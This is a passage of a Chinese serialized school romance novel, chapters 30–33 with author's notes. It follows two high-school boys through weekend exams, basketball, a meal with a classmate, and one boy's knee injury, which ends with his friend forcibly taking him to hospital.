监考老师皱着眉说:“我说他作弊他说他没有, 还跟我现场编名字,要不是监考不能玩手机我早给他拍下来发群里让班主任来认领了。” 楚明眉心往下压了压:“……您现在可以拍。” “哦,是哈,”监考老师把答题卡丢给他:“我去拍,你把答题卡完好无损地送到二楼的扫描室。” 楚明接过:“好。” 考试结束后十分钟休整时间是大型堵车现场,走廊到厕所一段人满为患的同时哀嚎遍野。 楚明在二楼上完厕所出来,抬头望向三楼时不慎地和江淮视线撞上。 监考老师站他旁边,两人不知道在说些什么,倒显得不那么剑拔弩张——还挺和气? 楚明轻顿,收回目光时江淮朝他极轻地抬了下下巴。 楚明心里咯噔一声:“……” 下午六点十分结束所有考试。 教室里开始世纪级搬运工程,书入桌肚桌归原位,保洁人员开始片面性大扫除。 大马猴进班沉着脸地说:“放假回去别抱着手机就看得忘乎所以,报复性玩到凌晨三四点……放学。” 学生们在短暂的返祖运动后飞速进化成人,背着书包冲出教室。 江淮仰靠在椅背,双手抱在胸前。 并没有要让楚明出去的意思。 楚明也不急,挨到教室最后一批人也跟着走了,他抽出本教辅开始练题。 江淮指尖点了点手臂:“有空吗?” 楚明握笔的手凝滞住,他看着题干:“嗯?” “我说过周六约你一次,”江淮往前坐直,手臂横到桌面:“别说你忘了。” 楚明:“……” 他在选项C上打了个对勾,偏头看着他:“去哪?” “篮球场,”江淮凑过来说:“你过我。” 楚明:“……” 他垂眸扫了眼江淮的左膝:“你腿——” “没事,”江淮一秒阻断他的话:“我的腿我有数,用不着你操心。” 楚明在心底轻轻叹气,叹完两次才说:“……好。” 说完江淮也没动,反倒是手肘撑着屈指顶着额角看他。 楚明手指乱搓着:“……还怎么了吗?” “自己翻出去。”江淮下巴点了下桌面:“现在是下课时间。” 楚明:“……” 江淮静静地看着他,眼底情绪看不太分明,声音挺淡的:“翻不出去就钻出去,一样的。” 楚明轻顿,想说些什么但想到这事是他之前答应过江淮的,起身把座椅推进去,坐到课桌桌面,抬起左腿越过桌线腾空到前桌的领地。 右腿跟着翻出去,翻到一半却先被江淮按住了腿。 楚明瞬间睁大了眼睛。 下一秒江淮就腾地起身坐到他桌面,更确切的说,坐在他两腿之间。 江淮松开他腿按住他肩膀,逼近时问道:“听说你指控我作弊?” 楚明往后仰了些,错愣地看着他:“我没有。” 江淮看着他:“是吗?” 对上他的眼神,楚明瞬间想起考完语文后和江淮跨楼层的对视,他明朗过来,解释说:“老师问我你是谁。” 江淮冷着声音接道:“你说你不认识。” “……没,”楚明喉结滚了下,“我只是不了解发生了什么,就没回答。” “他跟我说,你说我是惯犯。”江淮说。 楚明脱口而出:“不可能。” 江淮看了他好一会儿,“真的?” “真的,”楚明手心撑在身后面积并不富裕的桌上,说:“我没说过。” 江淮松开他的手,站回座位间,没有再说话。 楚明翻到前桌座位上站了一会儿,俯身抓起书包,静静地等他回过神来。 江淮沉默片刻后抬眼看他:“所以你信我作弊吗?” “不信,”楚明这点倒是敢肯定,江淮的性格就注定他不是会作弊的人。 江淮低低的:“嗯。”- 学校篮球场到周末期间异常的火热,几个半场都有人在打。 “哥们,来跟我们玩呗,”赵逵逵穿着件球衣,裹着阵汗臭就飞来了:“楚哥也来吗?” 江淮轻拧眉:“附近有空场吗?” “等半小时吧,”赵逵逵指了指边上那组:“那组高三的,等会要回去赶晚自习。” 江淮应了声:“嗯。” 江淮和楚明并排坐到旁边的小型坐台上。 江淮拧开水瓶喝了几口水,余光瞥见楚明摊开本数学教辅在刷题。 书面并不干净,几乎每道题都是在题干和选项间的小片空白处打的草稿,但幸好草稿不多,看着不至于觉得有虫子在心口上蠕动。 他视线慢慢下落,落到楚明左手手腕的黑手环上。 江淮问了句:“能看看吗?” 楚明停下笔,看他:“什么?” 江淮曲指指关节敲在他手环上:“这个。” 楚明把手环扯掉递到他手里,心无旁骛地继续开始刷题。 江淮捏着这条拇指粗的手环,功能不多,点到闹钟界面时他一时有了兴致,设了个半分钟响的闹钟。 无声震动式的。 闹钟响时,手环在腕上敲锣打鼓地蹦跳。 江淮问:“你就靠这醒的?” 楚明往这边粗略地看了一眼,低声:“嗯。” 江淮把模式调回去,想还给他见楚明做题做得认真,他凑过去把手环环过他手腕,细细地扣着。 微烫的皮肤相贴,楚明不太明显地抖了一下。 连算题的动作都跟着停顿了。 江淮帮他扣好,不解地看着他:“你这么敏感?” 楚明抬手把手环拧了拧:“……什么?” “碰你一下抖一下,”江淮伸手揽过他肩头,感受到楚明的动静后,他轻拧眉:“你看,又抖。” 楚明:“……” 江淮拍了拍他,“你很怕我?” 没等楚明说个怕或是不怕,他继续说道:“我让你跨过让你背过让你抱过让你扛过,还不够有安全感吗?” 楚明:“……” “哥们,快去!”赵逵逵打得满头是汗,见那边场子空下来连忙召唤江淮:“场子空了!” 江淮揽着楚明的肩起身,低声说:“这还让你过一次。” 楚明轻顿,手灵活地折过,把书放到坐台上。 半场球,江淮防守,楚明进攻。 “操?”赵逵逵把兄弟伙儿驱散,坐到线外近距离观战:“楚哥能打吗?” 楚明没应声,抱着球目光有些暗,他低眸扫过三分线,碰到篮球的手隐隐发抖。 江淮观察着他的动作,合掌轻拍。 听到他巴掌声,楚明抬了下头,看过去。 江淮收回手:“你要是过不了我我揍你。” 楚明嘴角抽了下:“……” “楚哥原来这么厉害吗?”赵逵逵听着他俩这对话,捧起违禁品找了个刁钻的角度打开摄像头:“楚哥先来个三分!快!” 人的情绪会跟着环境变动的。 赵逵逵这声喊得极其粗犷,声波大得能把篮球震飞。 楚明对上江淮的双眼,轻顿半晌往后利落退开几步,没有瞄准动作直接便是一砸。 球越过半场,飞出漂亮的抛物线,线弧一端连着他手,一端对着篮筐中心——毫无疑问,进了! “我操!”赵逵逵手机都甩飞了,“我操,好求帅啊!” 江淮挑了下眉: 他就说楚明百分百会打球。 进球后楚明抬手按着胸脯,感受着内里汹涌的起伏,一时间有些不知道该如何做。 江淮把球抛给他,大声喊道:“来过我!” 楚明条件反射地接到球,目光与江淮的紧密接触,他攥紧拳头没再过多犹豫地运球上前。 脚步轻矫走位灵活,他运球时是带着劈波斩浪般的狠劲直接到底。 但不得不说江淮的防守相当专业也相当牢固。 好几次身体撞击都没找到间隙。 江淮咬了下舌尖,彻底撒开手:“别他妈收着。” 楚明调整着呼吸,快速运球另寻角度,连着几次都被江淮预判住,他眼明手快地再度上前,这次不靠技巧纯靠实力,起身跳投。 “我操操操!”赵逵逵脚踩手机激动不己:“这个是真帅!” 江淮伸手拉住楚明的手,肩膀撞了下肩膀,点评道:“还行。” 楚明喘着,说不清是运动过度带来的高频次呼吸起伏还是久未动荡的内心一阵翻江倒海,他微张着嘴急喘着。 “累成这样?”江淮感受到他手都是颤抖的,朝看戏的赵逵逵吼道:“水!” “哦哦哦,”赵逵逵走到他俩坐的位置,数学教辅旁只摆着瓶剩余三分之二的水,他甩了过去:“接着!” 江淮抬手接住,拧开给他:“喝。” 楚明轻顿:“……谢谢。” 楚明仰着头连灌几口,喝得有些急,连着几股水流顺着他经脉凸起的脖颈一路淌进短袖里。 江淮看着他停下来,随手往他脖颈上抹了一道,说:“再来一次。” 比起第一次,第二次再过人的时候楚明要游刃有余的多。 他对江淮的风格基本熟知。 赵逵逵捡起手机正要拍呢,就见球从球筐里尖叫着出来,他两道浓厚的眉毛皱成了倒八。 江淮很低地操了一声。 楚明自己去捡球,站在江淮背面往他左膝上看了一眼,弯腰拎起那瓶所剩无多的水拧开给他。 江淮喝水没那么急,含着瓶口连着喝了几次才给水喝见底。 楚明看着他:脸皮白透,运动后的绯色便晕得分明…… 他轻轻移开了眼睛。 “楚哥我之前咋没发现你还有这么帅的一面呢!”赵逵逵走过来把手机相册翻出来,摁开播放:“看看看!太帅了!” 江淮低眸瞟了一眼,拧眉:“你拍的什么狗屎。” 赵逵逵:“……” 他自己欣赏了一下拍出来的大片,画面抖的堪比帕金森人群的“身残志坚”杰作,声音全是他自己的尖叫…… “嘶,没事没事,我眼睛也看到了,”赵逵逵笑了笑:“楚哥有兴趣来校队吗?” 楚明轻摇头:“不了,谢谢。” “行吧,开学以来拒绝我的第二个男人,”赵逵逵叹气说:“不过以后可以一起玩。” “嗯……”楚明顿了一下,“应该吧。” 江淮看着他,伸手揽过他肩,凑他耳边小声说:“以后跟我打。” 楚明略微偏了些头,脸便贴到他脸颊,他呼吸紧了紧,应道:“好。”—— 作者有话说:不知不觉都这么多字了啊[哈哈大笑]《 》 30-40 第31章 第 31 章 “老子没亲。” 进小卖部买了瓶凉白开, 江淮喝得差不多便递给楚明。 “球还了,”赵逵逵走过来,“五十块的押金, 刚好可以请你们吃饭!” 江淮看了他一眼:“嗯。” 赵逵逵带他俩去了学校附近一家最近比较有名的新店, 主打菜品是洋芋饭。 赵逵逵把菜单递过去,说:“我吃腊肉洋芋饭,你们要什么?” 楚明简单看过,说:“酸菜的。” 江淮慢条斯理地:“跟他一样。” “你俩有必要吗?”赵逵逵把打好勾的菜单给店里服务员, 瞪着对面两人说:“显得孤立我似的。” 江淮看着他:“神经。” “不过酸菜的还真不错, 很好吃。腊肉的我没尝过,就试试。”赵逵逵说。 等菜时间要比想象中久,透明窗口里厨师正在热气腾腾地操作。 预制菜可能性极低。 “今天的周考说实话挺难的, ”赵逵逵说:“文综选择题我一直在二选一纠结。就那个地理选择题,影响北海道降雪量的因素,我一直在纠结是地形和洋流还是洋流和季风, 关键是我觉得纬度也挺有那么回事的。” 江淮:“……” 他轻敛眉:“原题你纠结什么?” “啊?啊?”赵逵逵两只眼睛瞪成鱼蛋:“原题吗?真的吗?” 楚明始终保持着缄默, 把山楂汁给江淮倒了一杯,又依次倒另外两杯。 江淮端起杯子抿了小口,说:“嗯。” 赵逵逵像被点了石化技能一样瘫软在座椅上, 就连冒着热气的洋芋饭端上桌, 他都没有半点要活的迹象。 江淮扫他一眼:“别想了傻逼。” “这是我能控制的吗?”赵逵逵半死不活地坐起来:“你才来两天没领教过出成绩那两天的丘陵哥, 谁错原题他跟谁急, 就跟疯狗看到骨头似的能咬一星期都不放, 一上课就cue,要死啊。” “林丘,”楚明低声介绍:“地理老师叫林丘。” “嗯,”江淮对这地理老师有印象, 话多且密,说话跟炸爆米花似的往外崩,他想了想,低声问:“你错没?” 楚明轻顿,心想但凡他错了这题你这问得就非常冒昧。 他极小声地说:“应该没有。” 江淮点点头,安慰了一下赵逵逵:“没事。” 赵赵逵逵像是抓住救命稻草般地吊着江淮:“什么没事?” 江淮安慰完了,跟赵逵逵的空气形态碰了个杯:“我们没事。” 赵逵逵:“……” “算了算了我脸皮厚,cue就cue。”赵逵逵狠狠地舀了勺饭,喂到嘴里咯吱咯吱地嚼,满足地拉长了语气:“嗯~好吃!其实比起地理我还是更怕英语。” 想起之前早自习听到的什么空你七哇,江淮搅匀着饭:“你不是在学日语?” “嗯……八中日语要高三才排课派老师。”赵逵逵苦着脸说:“现在还处于自学阶段。我英语就只能考个三四十分,估计又得被骂个半死。” 这顿饭赵逵逵吃的是心酸。 江淮没什么感觉,因为共情不了。 “哦对了,”赵逵逵抬头说:“你们昨天请假干嘛?” 江淮没说话。 显然是不太想说自己受伤的事,楚明看了他一眼也跟着没说话。 “你们这反应……”赵逵逵忽地睁大双眼:“我操,不会是一起私会女朋友吧?哥们你昨天说的上/床不会也是真的吧?” 江淮轻顿,往旁边楚明身上看了一眼,说道:“是啊。挺爽的,有人第二天差点没醒过来。” 楚明:“……” 他一口饭呛喉咙里,慌忙喝了口山楂汁压惊。 “嗯?嗯?嗯?”赵逵逵拍筷子而起,引得饭店其他人纷纷昂起看热闹的小脑袋瓜,他羞涩地朝他们摆手,温吞地坐下来,压低声音尖叫:“真的吗真的吗真的吗?” 江淮淡声:“假的。” 赵逵逵:“……这就没劲了哈。我拿你当兄弟,你不能拿我当乐子,是不是这个理!” 赵逵逵激越完,扭过头转向另外一块瓜主:“楚哥,你那位呢?” 楚明轻摆手:“误会。” “什么误会?”赵逵逵深沉地思考了下:“还不是女朋友?还在追?不至于吧草莓都种了兄弟你不行啊。” 楚明:“……” 赵逵逵老谋深算地问:“亲脖子没亲嘴所以还没到在一起的地步是吗?” 楚明隐隐记得江淮好像澄清过这个问题,怎么赵逵逵脑子还是浑的。 他语重心长地说:“不是。” “傻逼,”江淮在旁说道:“老子没亲。” 楚明:“……” 赵逵逵:“……我靠!对不起我忘了!”他连忙拱手作揖连磕三个闷头:“糟糕周考夺走了我的脑子还没有还回来,对不起哥们,我脑子有点乱先静静。” 江淮和楚明没再说话,大概率也想静静。 于是一桌三人开始瓜分一个“静静”,手里硬朗的勺子是瓜分工具,沉默但长情的胃是瓜分仓库。 “好的,我脑子回来了。”赵逵逵放下勺子,看着空无一粒儿米的陶碗,说:“所以你们请假真有事啊?” “嗯。”江淮说:“有事。” “行吧,主要我听班上有传你逃课还卷上楚哥当人质,还传你下次来学校就是来炸学校的。”赵逵逵说:“我寻思着这不能啊,就来问问。” 江淮轻顿:“傻逼。” 楚明:“……” 七八点钟算是个吃饭小高峰期。 外面陆陆续续开始排队,有个胆大的姑娘凑过来问了句:“你们还要吃多久?” “快了快了,”赵逵逵端起空碗向她SHOW了SHOW,扭头对对面两位说:“我去结账。” 姑娘有些不好意思地坐到他的位置上。 江淮慢条斯理地喝完山楂汁,放下杯子时那位姑娘朝他摆了摆手:“你是江淮同学吧?” 江淮:“……” 他指尖点在桌面:“你谁?” “说了你也不认识,”姑娘说:“但你真挺帅的。” 江淮淡声:“谢谢。” 赵逵逵结完账回来发现已经没有自己的一席之地,朝江淮摆了摆手:“我回去当苦力了,你们吃完就走吧。” 楚明看了看他:“再见。” 江淮倒没重复回应,起身时被左膝钻痛刺地又坐了回去,他拧了下眉。 楚明低头看了一眼:“你没事吧?” “没事,”江淮镇定自若地站起身来,垂在身侧的手却暗暗攥紧。 打篮球的时候劲是绷着的,他没太留意过。 刚才顾着吃饭也没太分出注意力。 这会儿倒是…… 楚明扶住他右手手臂,把人扶出店里走到敞亮的街道上时,才说:“你还是遵点医嘱吧。” 江淮目视前方:“我有数。” “什么数?”楚明感觉他走得愈发不稳,索性伸手直接架住他。 江淮:“……我的身体我难道感受不到好坏吗?” 楚明轻顿,直接松开了他。 江淮一个不稳左腿无力地朝地上摔去,脑袋要磕到地上的瞬间被楚明弯腰一把搂住脖子。 楚明拉稳他时语气轻飘地说了句:“有数?” 江淮站直时嘶了一声。 “操,”江淮被他这语气激得一股火气,伸手环住楚明脖颈就猛地往自己腹部压来,压着声音道:“你他妈什么语气。” 楚明下巴磕到他腹部,撞得生疼。 江淮压着他劲儿一点没收:“老子一条腿照样干废你。” 楚明:“……” 傻逼。 日光西斜橘霞漫天,油绿的树尖披上一层淡金色,街道上车水马龙明光晃晃。 路口两人扭打在一起。 没打起来,因为楚明没出手,只是牵就着任江淮时不时把他往下压。 江淮见他没反应,顿时觉得没意思,把楚明拉开一些垂眸看他。 还是有些争斗过的痕迹的。 楚明胸前的衣服凌乱一片,露出的线条分明的锁骨被磨得泛红…… 江淮松开他,不悦地皱眉:“你他妈为什么不还手?” “……”楚明虚扶了下他后腰才站直。 什么垃圾问题。 他随口应付道:“打不过。” 江淮眉拧得深了些:“那你不会求饶吗?就硬抗?” 楚明搓着指尖,闻声无奈地垂下头。 “你平时不是张口就来随口就是的吗?”江淮瞪着眼他:“这会就要硬气宁死不屈了?” 楚明微微抬了下眼。 目光落在江淮被晚霞映出灿色的脸上,眉眼冷峻。 他摆正态度听江大道理的道理。 只是刚摆正,江淮压着声音狠狠地叮嘱说:“下次记得还手。” 说完他勾过楚明肩膀,借力往前走。 楚明:“……” 他不可避免地朝江淮倾靠了些,视线擦过他脸颊时复杂地停顿了下,之后他抬手若有若无地扶住江淮的后腰。 沥青路散着白日的余热,烘上脚底板有种畸形的温暖。 江淮勾搂着楚明,回味道:“你先刺我我肯定得刺回去,刚不是在欺负你。” 楚明不经意地挑了下眉:“嗯。” “所以弄疼你没?”江淮凑到他胸口想看看他胸前那片皮肤。 楚明慌忙地按住他的手:“我没事。” “真的?”江淮拧眉。 楚明点头:“真的。” 江淮却顿住步子,站在他身前说:“你打回来吧,我不还手。” 楚明:“……” 他眸中神色渐深,忽然有些恍惚- 难得回到家不是大半夜,沉进西山之前太阳光的余烬烧在窗玻璃上。 江淮坐在书桌前静静欣赏了一会儿。 余光里楚明从客厅搬了把高些的椅子,坐到他旁边。 江淮收回目光,看向桌面。 楚明在做数学套卷,标题是隔壁省某重点中学高二上学期第一次月考试卷。 江淮闲得无事,说:“给我一张。” 楚明思路被他打断,把后面一张试卷撕下来给他。 江淮接过,又说:“草稿纸。” 楚明:“……” 他起身把上面书架上一沓打印A4纸抽出两张给江淮。 江淮没接,微仰着头把他看着。 楚明不自觉地捏紧纸角:“……不够吗?” “我让你做你就做,”江淮抬起下巴,冷声说:“你就这么听话?” 楚明默住。 操,做也不是不做也不是,要干什么。 江淮伸手从他手里抽出草稿纸,说:“你能不能有点儿反抗意识?” 楚明喉间滚了一下,他慢慢坐下来。 江淮上半身靠过去,手搭在他椅背,说:“你给点回应。” 楚明从嗓子里挤出一声:“……能。” 江淮习惯性边转笔边思考,手脑都动效率最高。 他学得不多能做的题也不多,四十分钟左右便把试卷做了个遍,他把那些有疑惑的知识点在脑子里简单过完一遍后,看向楚明的卷面。 楚明做题就跟题干规则有仇似的。 让填选项他在选项上打勾,让写过程他偏偏只在那标个答案。 江淮跟着他扫射一道函数压轴题,看他连续定义好几个新函数,什么h(x)i(x)一大堆,但始终不得结果。 见楚明已经放弃,开算空着的填空压轴题。 江淮轻声说:“选择题,傻逼。” 楚明莫名其妙地看向方才那道题:“……嗯?” “赋值,”江淮有些头疼地说明白。 楚明若有所思地把题干重新读了一遍,把x=1的情况带进去算,排除掉A选项。 “继续啊,”江淮无语地看着他,“你只认得1吗?” 楚明轻顿,把0、-1依次代入,面无表情地在A选项上连划两道斜杠。 江淮:“……” 他一口气险些没提起来,“操,你不看选项吗?” 楚明沉默地看向题干,CD两选项均是函数奇偶项的性质判断。 他觉得有些好笑,当然也单纯是不想再算,在B项上打了个对勾。 楚明轻声说:“我一般不做压轴题。” 江淮拧眉:“为什么?” “不会,”楚明翻到答案册,用红笔圈了圈12题答案B,说:“不如猜来得快。” 江淮沉默地别开眼,轻叹后说:“答案给我。” 楚明翻到那张试卷的答案,给他,顺便浅浅瞥了眼他的卷面。 很整洁,也挺干净。 江淮没有打勾的习惯,对答案时只是简单划条斜杠叉掉错误答案。 楚明看着他的动作。 脑海里却响起傍晚饭店里陌生女孩的那句话,他不禁打量了下江淮。 黑发包裹着形弧流畅的头骨,端坐时纤长的后颈连着白色短袖下挺直的脊柱。 手指之间红笔慢速旋转,江淮眉眼认真地看着答案解析。 是挺帅的。 楚明多看了两眼,正要无事发生地收回视线,就听江淮说:“今晚还跟我睡吧。”—— 作者有话说:记住这个“你能不能有点儿反抗意识……”[墨镜] 第32章 第 32 章 “别犟。” 睡前江淮试着做了组康复运动。 楚明翻箱倒柜翻出条没什么用处的长腰带, 给他时说:“将就着用吧。” 江淮把腰带折好:“嗯。” 其实本身用瑜伽拉伸带会更好些,但条件毕竟有限。 江淮斜坐在床边把左腿打直伸出,保持一会儿后觉得还行, 弯身把腰带穿过脚底, 试探着把左腿绷直拉起来。 进行加强拉伸。 楚明靠在门框里看着他的动作。 轻轻拧着眉。 他查过一些关于半月板重度撕裂的资料,那些文字光是看着他都幻痛。 什么膝盖绞索、锁死、叩响…… “操,”江淮拉伸到后期手有些发抖,他皱眉不悦地看向几步之外的楚明:“你出去。” 微喘的声音里是细微的颤抖。 知道是江大面子附身了, 楚明站直说:“有事叫我。” 说完他轻手轻脚地把卧室门带上, 往沙发上坐去- 楚明端坐片刻后摸出手机,想了想还是走到阳台外给他妈妈打了个电话。 简单说完情况只听电话那头死一般的沉寂。 “他……他这些天是不是又偷偷去打篮球了?”吴珊问:“小楚你跟阿姨实话实说。” 楚明轻顿,“是。” “他跟谁打?才去学校几天就又开始打了?不省心的玩意儿。”吴珊声音不免又大了些:“你把电话给他, 老娘不骂死他算老娘我观音转世!” 楚明:“……” 他默默地把音量调低调低再调低。 等到吴珊怒气烧到尾声,他又默默地音量调回去些。 “你这样,你给阿姨一个地址, 明天我给他送医生那儿去检查检查。” 楚明:“好。” “另外就是, 他有点犟。”阿姨停顿片刻才说:“我怕他不配合我。” 楚明点头以示认可。 吴珊口出狂言:“你帮我给他绑了。” 楚明惊得下意识重复:“……绑?” 他差点没拿稳手机,回头时卧室门还轻合着,似乎并没有过进出的迹象。 他重重呼了口气, 说:“阿姨, 不至于吧。” “至于至于非常至于。”阿姨说:“他就是典型的比牛犟, 硬站在牛脑袋上要强。我之前送他去医院那都是捆成一坨扔后备箱里载着去的, 不然他根本不听不去!” 楚明眯了下眼:“……没其他法子吗?” 挂断电话楚明走到阳台看了会儿夜色。 十多分钟后他回到卧室, 江淮正靠在床头,见他进来挑了下眉,声音挺冷的:“我以为你躲我呢。” 楚明轻顿:“没。” 江淮垂眼看他爬上床掀开被子平躺下。 一贯闭眼即深睡的睡神今夜却貌似有点失眠,好半天呼吸都是一深一浅的。 江淮在暗色里注视着他。 方才做完两组训练左膝负荷过大, 他又碍于情面没叫楚明。 他便悄悄扶着墙走到卫生间简单洗漱——并完整且清晰地捕捉到客厅里的声响。 江淮听得想笑,往嘴里塞牙刷时,牙膏沫子好几次平擦过脸颊。 他轻声:“傻逼。” 三分钟左右,楚明睡着了。 江淮没靠过去跟他的呼吸声,直起上半身捞过枕头下压着的腰带,挪到床边做了组拉伸。 硬做。 没管破膝盖破半月板受不受得住。 后半夜他粗喘着躺回床上,手里扣紧的腰带随呼吸起伏颤抖着。 江淮心情烦躁,抬起腰带比照着楚明侧放着的手腕上晃了晃- 六点多天光便映亮了整个世界。 “哟嘞哟嘞,这么早开始训练呐,”窗口里阿姨接过五十元纸钞,“你自己进来挑球吧,我看不出好歹来。” 江淮淡淡地嗯了声。 篮球质量普遍还不错,但江淮始终没摸到比较有手感合心意的。 他对着阿姨说:“您帮我随便拿一个。” “早说咧!”阿姨随手抱起一个球:“我就不给你开门了。” 江淮轻顿:“谢谢。” 高三年级周天照常上课,只是没有早自习。 篮球场上寂静无声——空气里带着润湿的露水气息,挺淡的,毕竟温度逐渐在升高。 江淮站在线外投了几个三分,漫不经心地挪到场内单手投球。 如此循环往复,身体也还吃得消。 “我操,哥们,我还以为校队哪个崽子卷成这样逼老子退位!”赵逵逵走近才吼道:“你怎么在这儿打篮球?” 江淮只掀起眼皮淡淡扫了他一眼,继续上篮。 赵逵逵竖起大拇指,连忙张罗起队友:“兄弟们,抓紧时间训练!别让业余选手给咱超了!” 不知道听到哪个词,江淮手腕一歪,篮球没碰到篮筐便先一步落地。 他捡起来继续。 “牛逼,体力真好!” 休息时校队的坐在一排欣赏中间场子里不间断砸球的江淮。 “打一上午还不停?他干嘛呢?” “秀给我们看呢,他水平是不错,小帅你去单挑一下。” “我可不敢,黑哥都没挑过我上去不得给我们校队丢脸啊。” 赵逵逵双手抱胸若有所思地凑到队友们中间。 他说:“别去惹他。” 队友们:“……”没有任何一句话有想惹他的表达哈,勿cue! “我猜他八成失恋了,”赵逵逵开启老兵模式。 队友们:“哟!” “哟屁,信我,”赵逵逵说:“我上次为情所伤的时候,也是这么跟篮球彻夜厮守。” 队友们更高亢地:“哟哟!” 赵逵逵:“……” 他一巴掌拍过所有队友光滑而贫瘠的脑袋,说:“起来训练,再陪我哥们一会儿。” 江淮看着篮球静静停住,弯身撩起衣服下摆擦脸上的汗水。 他打得挺久的,呼吸极度不平稳。 弯身拧开瓶盖他仰头猛灌好几口水,捏扁空瓶子飞掷进垃圾桶他捡起篮球继续。 日头越来越高,温度节节攀升。 “真不叫停吗?我说这再打下去真要出人命吧?”队友1号说。 队友2号起哄:“这得是多深的情伤,八中第一深情。” “闭嘴闭嘴,”赵逵逵手动叫停他们的猜测:“你们进食去吧,我在这看着。” “黑哥什么时候这么仗义了?” 赵逵逵伸出食指摇了摇:“你们不懂,患难见真情,等他好了我再邀他来校队他绝对答应。” 队友们回以大拇指:“牛逼!” 赵逵逵把队友送走,坐在篮板底下观赏江淮的投篮。 是挺准的,给他看困了都没看到有球不进。 他哈欠连天,受不住地张着嘴仰了过去。 豆大的汗珠从额角滑落,滚过脸颊顺着骨骼轮廓淌进衣服里,江淮深拧了下眉,他面无表情地继续。 手心浸出汗液,糊着篮球表面的灰尘,渐渐发黑。 他不甚在意地运球,没管膝盖时不时传出的锁痛,开始跳投- 楚明半月以来头遭睡到天亮自然醒。 他舒坦地睁开双眼把天花板看真切,手往后正想伸个懒腰却发现手感稍微有些不对。 低眸。 左手手腕被长腰带缠着,尾稍打了个结。 楚明:“……” 看来江淮是听到吴珊说的话了。 傻逼。 能被衣服袖子打出的死结困住的江大傻逼,指望他有什么高超的手法。 楚明伸手三下五除二解开蝴蝶结。 现在时间中午十二点半,四小时前吴珊发来了几条消息。 【他妈】小楚,地址给阿姨呗。 【他妈】小楚小楚,地址地址。 【他妈】小楚,你是不是还没睡醒。 【他妈】小楚,算了,你先睡吧,阿姨再睡会儿回笼觉。 楚明:“……” 他活动了两下手腕,起身简单洗漱完在家里寻了圈江淮的痕迹。 未果,楚明轻挑眉:江淮又他妈在叛逆什么?想证明自己很行? 看着窗外日头,他利索地从药箱里摸到两瓶藿香水,抓起钥匙换鞋出门,扫了个共享单车便骑向八中。 江淮应该挺喜欢篮球的。 按他妈的说法他受伤估计就是因为篮球。 昨晚康复运动那憋屈劲,估计给他刺激到了…… 楚明跨上坐垫时指尖敲了敲车把手: 小区附近没有篮球场区,而最近的场子就是八中里的。 楚明把单车停进指定区域,把手机揣裤兜里便快步跑进篮球场。 林荫在场外,场内正常人站那影子没中指长。 楚明几乎是一眼就注意到江淮——在投篮,投进之后再投。 他眉心重地往下一压:神经病。 楚明拉开轻合上的门,路过正打呼噜的赵逵逵,轻顿,他弯腰拍了拍他的后脑勺。 赵逵逵稀里糊涂地醒了,鼻腔共鸣:“嗯?” “你先回去别晒中暑,”楚明硬戳一瓶藿香水给他。 “嗯……哦,谢谢哈,”赵逵逵一口嘬完,起身走出两步才说:“你看着点江淮。” 楚明站直:“我知道。” 江淮没注意到有人来有人走,或者说注意到也没有精力去管。 他闭眼缓了缓,再睁眼却只觉得眼前黢黑一片。 脑子中央有块区域发昏发沉,他扶了一把空气。 旋转着的画面逐渐变白变清晰,江淮收回有些抖颤着的手,扣住篮球正欲举投——手腕被微凉的掌心猛地一打,下一秒篮球因指尖无力控制不住朝外飞了出去。 江淮迟钝地跟着篮球的运动轨迹看去。 篮球顺畅地进到楚明手中,他脚步一刹转身利落投篮,篮球从篮筐里垂直落地。 江淮轻拧眉:“你……” “进了。”楚明向他走来,垂眸看着手里的褐色小瓶,抬眼时直接将吸管戳进他微张着的嘴里:“喝。” 江淮顿了顿,就着他的手把药水喝完。 苦,很苦,也很难喝。 他皱了皱眉。 楚明反手把药瓶扔进垃圾桶正中,看着他:“跟我去医院。” 江淮回得很利落:“不去。” 楚明说:“理由呢?” “没有。”江淮说着转身要走。 楚明箭步上前拽住他手腕往自己这边狠地一带。 江淮防挡不及地撞到他胸膛,下巴尖擦过他肩线,耳边是楚明有些陌生的声音:“别犟。” 楚明抬腿,膝盖重重地顶撞到他腹部,江淮闷哼一声痛地弓起腰。 没等江淮有反抗的契机,楚明钳住他两只手腕重重往他后腰处卡去,掌心一推,江淮被迫转身,楚明押着他往前走。 楚明走出几步压着的怒气才隐有褪去,他低眸扫了眼江淮不太利落的左腿,刺说:“能走吗?” 江淮拧着眉,猛挣了一下但楚明的钳制纹丝不动,他吼道:“你他妈松开我!” 声音很哑,久未进水和运动过度的缘故。 楚明扣紧江淮两只手腕,见他手腕被磨得发红。 他轻顿,“问你还能走吗?” 江淮沉默不语,站在原地不动。 楚明跟着停下,目光扫过他重心单偏的双腿,他眯了下眼,松开江淮的手腕时单膝跪在他面前。 江淮挑了下眉:“你有病吧?” 楚明没说话,往前贴到他腰部一手环住他背,使劲儿,扶住他右腿的瞬间起身将人扛到肩膀处。 江淮猛地天旋地转:“操——”—— 作者有话说:力气大点果然是有用处的[眼镜] 另外明天暂时不更,会发点小红包浅浅弥补一下。 后天入v,自25章开始,另外会奉上万字更新。 希望大家多多支持[求你了] 第33章 第 33 章 “楚明呢?” 楚明坐在医院走廊的座椅上。 护士姐姐刚给了他一包湿巾, 他双腿大张地坐着,微垂头擦拭颈项一周的汗水。 “他居然这么听你的话,”吴珊坐到座椅旁边, 难以置信地睁大了双眼:“小楚你比我还适合管教他, 有魄力。” 楚明:“……” 他把湿巾叠好扔进垃圾桶,轻声说:“没有。” 硬扛过来的。 吴珊笑了笑,把兜里的小面包塞到他手里:“先吃点东西垫垫。” “谢谢。”楚明撕开包装纸。 吴珊看着他咬下一口才问说:“阿姨想问你一个小问题。” 楚明快速咽下面包,看着她:“您问。” “吃你的不用这么正式。”吴珊说:“你和江淮肯定没什么代沟, 你觉得他今上午神经兮兮地搞这一出是干嘛?” 神经兮兮……这个形容……副词。 楚明没收住力, 给面包捏瘪了。 他没多思考,“可能是想看看自己的极限在哪。” 吴珊歪了下头:“什么意思?知道这个有什么用?” 楚明:“……” 他把面包怼出包装袋,“我瞎猜的。” “果然还是同学之间有话说, ”吴珊笑着说:“我到时候再问问他去,他这次也不严重,打篮球的时候应该注意着的……过两天就可以出院。” 楚明点了下头:“挺好。”要能再关一段时间磨磨性子就更好了。 “说起来, 小楚。”吴珊问:“你觉得江淮是个怎么样的人?我听听你和我有没有共鸣。” “……”听到这话楚明险些咬断自己舌头, 委婉道:“他挺好的。” “真的吗?”吴珊眼睛顿时雪亮起来:“我还很少听哪个男生这么评价他呢,都说他脾气臭性格硬说话难听口不留情。” 楚明:“……”阿姨,还有个男生叫赵逵逵。 